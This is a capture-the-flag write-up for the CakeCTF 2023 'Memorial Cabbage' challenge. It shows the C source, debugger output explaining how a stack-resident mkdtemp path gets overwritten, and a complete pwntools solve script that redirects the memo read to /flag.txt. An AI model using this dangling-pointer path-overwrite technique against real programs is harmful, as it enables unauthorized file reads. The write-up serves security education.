Memorial Cabbage
Author: ptr-yudai
Description: Memorial Cabbage Unit 3
Attachment: memorial-cabbage.tar.gz
Keywords
CakeCTF 2023, pwnTL;DR
mkdtemp return value lives in the stack instead of heap which allow us to overwrite it.
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define TEMPDIR_TEMPLATE "/tmp/cabbage.XXXXXX"
static char *tempdir;
void setup() {
  char template[] = TEMPDIR_TEMPLATE;
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  if (!(tempdir = mkdtemp(template))) {
    perror("mkdtemp");
    exit(1);
  }
  if (chdir(tempdir) != 0) {
    perror("chdir");
    exit(1);
  }
}
void memo_r() {
  FILE *fp;
  char path[0x20];
  char buf[0x1000];
  strcpy(path, tempdir);
  strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
  if (!(fp = fopen(path, "r")))
    return;
  fgets(buf, sizeof(buf) - 1, fp);
  fclose(fp);
  printf("Memo: %s", buf);
}
void memo_w() {
  FILE *fp;
  char path[0x20];
  char buf[0x1000];
  printf("Memo: ");
  if (!fgets(buf, sizeof(buf)-1, stdin))
    exit(1);
  strcpy(path, tempdir);
  strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
  if (!(fp = fopen(path, "w")))
    return;
  fwrite(buf, 1, strlen(buf), fp);
  fclose(fp);
}
int main() {
  int choice;
  setup();
  while (1) {
    printf("1. Write memo\n"
           "2. Read memo\n"
           "> ");
    if (scanf("%d%*c", &choice) != 1)
      break;
    switch (choice) {
      case 1: memo_w(); break;
      case 2: memo_r(); break;
      default: return 0;
    }
  }
}
Initial Analysis
At a glance, the program seems to not have any vulnerability. The setup()
function creates a temporary directory under /tmp and save the directory name
to tempdir. Both memo write and read have proper size constraints to prevent
buffer overflow and would operate on a file named memo.txt under tempdir.
Next, my plan is to just fill up buf with 0xfff bytes of cyclic pattern and
observe any interesting outcome.
gef> x/s (char*)tempdir
0x7ffd9aab6920: "/tmp/cabbage.FSWsBP"
gef> ni
gef> x/s (char*)tempdir
0x7ffd9aab6920: "bovabowaboxabo"
Turns out that our input overwrites part of tempdir. This happens because
mkdtemp returns char * that is pointing to the stack and when the setup()
returns, the string /tmp/cabbage.FSWsBP is located in the stack area which
would be used to allocate local variables when another function is called.
In this case, when memo_w is called, the memory which would be allocated for
buf overlaps with tempdir, which allows us to overwrite the path value.
gef> x/5i memo_w+59
   0x55565ba76502 <memo_w+59>:  mov    rdx,QWORD PTR [rip+0x2b17]        # 0x55565ba79020 <stdin@GLIBC_2.2.5>
   0x55565ba76509 <memo_w+66>:  lea    rax,[rbp-0x1010]
   0x55565ba76510 <memo_w+73>:  mov    esi,0xfff
   0x55565ba76515 <memo_w+78>:  mov    rdi,rax
   0x55565ba76518 <memo_w+81>:  call   0x55565ba76180 <fgets@plt>
gef> x/gx $rbp-0x1010
0x7ffd9aab5930: 0x6161616261616161
gef> p/x 0x7ffd9aab5930+0x1000
$6 = 0x7ffd9aab6930
Solution
Now that we are able to overwrite the value of tempdir and the memo path
is constructed everytime memo_r is called, we could overwrite tempdir to be
/flag.txt\x00. Since the length of /flag.txt\x00 is shorter than TEMPDIR_TEMPLATE,
when strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt") is called, our NULL
termination stays and fopen() would open /flag.txt, instead of /flag.txtgarbage/memo.txt
important
When testing locally, make sure that the running user has no write permission
to /flag.txt since memo_w would not return early and instead overwrite
the content of /flag.txt.
Final solve script:
#!/usr/bin/env python3
# type: ignore
# flake8: noqa
from pwn import *
elf = context.binary = ELF("./cabbage", checksec=False)
def start(argv=[], *a, **kw):
    nc = "nc memorialcabbage.2023.cakectf.com 9001"
    nc = nc.split()
    host = args.HOST or nc[1]
    port = int(args.PORT or nc[2])
    if args.REMOTE:
        return remote(host, port)
    else:
        return process([elf.path] + argv, env=env, *a, **kw)
env = {}
io = start()
io.sendline(b"1")
io.sendline(cyclic(0xff0) + b"/flag.txt\x00")
io.sendline(b"2")
io.interactive()
$ ./solve.py REMOTE HOST=localhost PORT=9001
[+] Opening connection to localhost on port 9001: Done
[*] Switching to interactive mode
1. Write memo
2. Read memo
> Memo: 1. Write memo
2. Read memo
> Memo: FakeCTF{*** REDACTED ***}
1. Write memo
2. Read memo
> $